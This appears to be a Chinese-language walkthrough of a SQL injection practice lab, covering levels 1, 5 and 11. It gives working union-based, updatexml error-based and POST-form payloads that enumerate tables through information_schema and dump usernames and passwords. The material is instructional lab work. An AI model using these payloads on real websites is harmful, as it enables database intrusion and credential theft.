查询步骤:闭合-注释符-查询数据库-查询表-查询字段
第一关:联合查询
提示请输入你的id:
首先sql注入输入的数据都是合理的查询语句。产生原因是由于没有对用户的输入做过滤,导致意外的查询语句进入到了程序中,查询到了本不应该查询到的数据。
尝试闭合,加上 ' 后可以发现报错,说明闭合成功,再加入注释符号,使后面的程序不生效,mysql的注释符号有三种:--空格 # /***/ ;使用--+ 的原因是,在url中,+ 会被解析为空格,而直接加空格会被忽略;
接下来就可以构造查询语句:
首先查询表的列数:使用 order by 排序,默认正序,在使用4排序时报错,说明表只有3个(一个一个试)
使用联合查询:用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉;id为-1,是因为源码只显示一列,所以让id为假,就可以显示第二列;最终目的是找到管理员密码和账号;
?id=-1' union select 1,2,3 --+
查询database()可以看到当前是security库,
?id=-1' union select 1,database(),3 --+
mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
现在我们知道了security数据库中的所有表名,我们需要查询password和username,通常情况下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
可以看到users表下有username,password,
?id=-1' union select 1,2,group_concat( username,id,password) from users --+
第五关:报错注入
第五关没有发现显示位,但是有报错信息,尝试使用报错注入
尝试跟第一关一样直接查发现显示 ,0x7e 的意思是 ~
?id=1' and updatexml(1,concat(0x7e,(select username password from users)),1)--+
因为updatexml有限制,只显示32位,所以只能使用substr截取32位显示,使用group_concat函数将输出的数据连接起来显示
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)--+
第十一关:POST注入、无限制
先尝试加 ’
和前面的注入一样有报错信息 ,因为不使用url注入,所以将 --+ 改为 #
a'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)#